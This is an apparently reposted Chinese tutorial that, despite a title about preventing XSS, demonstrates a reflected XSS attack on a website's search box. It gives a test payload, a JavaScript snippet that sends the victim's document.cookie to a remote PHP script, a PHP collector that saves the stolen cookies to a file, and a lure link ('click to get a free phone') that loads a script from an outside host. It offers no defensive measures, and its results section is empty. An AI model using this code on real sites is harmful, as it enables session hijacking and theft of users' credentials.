原文链接:实例演示如何防止xss攻击
xss攻击大致分为三种类型 :Persistent型(持久型),Non-persistent(反射型)及Dom-based型。而反射型是最常用,也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
通过一个反射型xss的实战演示,让大家详细了解这种攻击方式。
一、查找网站漏洞
由于xss漏洞一般发生于与用户交互的地方,因此搜索框是我们关注的重点。
1、打开www.*.com网站,找到搜索框所在的地方,输入”编程”,那么这样的话会出现含有”编程”的字样的搜索结果。
2、在搜索框中输入”<script>alert(1)</script>”测试一下,如果出来下面这个弹窗,说明网站存在xss漏洞,会执行请求http://www.*.com/search.php?q=编程。
二、添加自已的代码
总共需要两个文件,一个是发送请求的xss.js,一个是接受数据的xss.php。
javascript文件xss.js的代码内容如下:
var img = new Image();
img.src = "http://www.*.com/xss.php?q="+document.cookie;
document.body.append(img);
php文件xss.php的代码内容如下:
<?php
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?>
现在我们可以组合一个地址,如下:
现在可以构造一个url地址来让用户点击:
<a href=”http://www.*.com//search.php?q=%3Cscript+src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E”>点击就送手机</a>
三、得到的信息
经过上面地址的请求后,可以查看下我们所获取的内容。内容如下:
介绍完毕。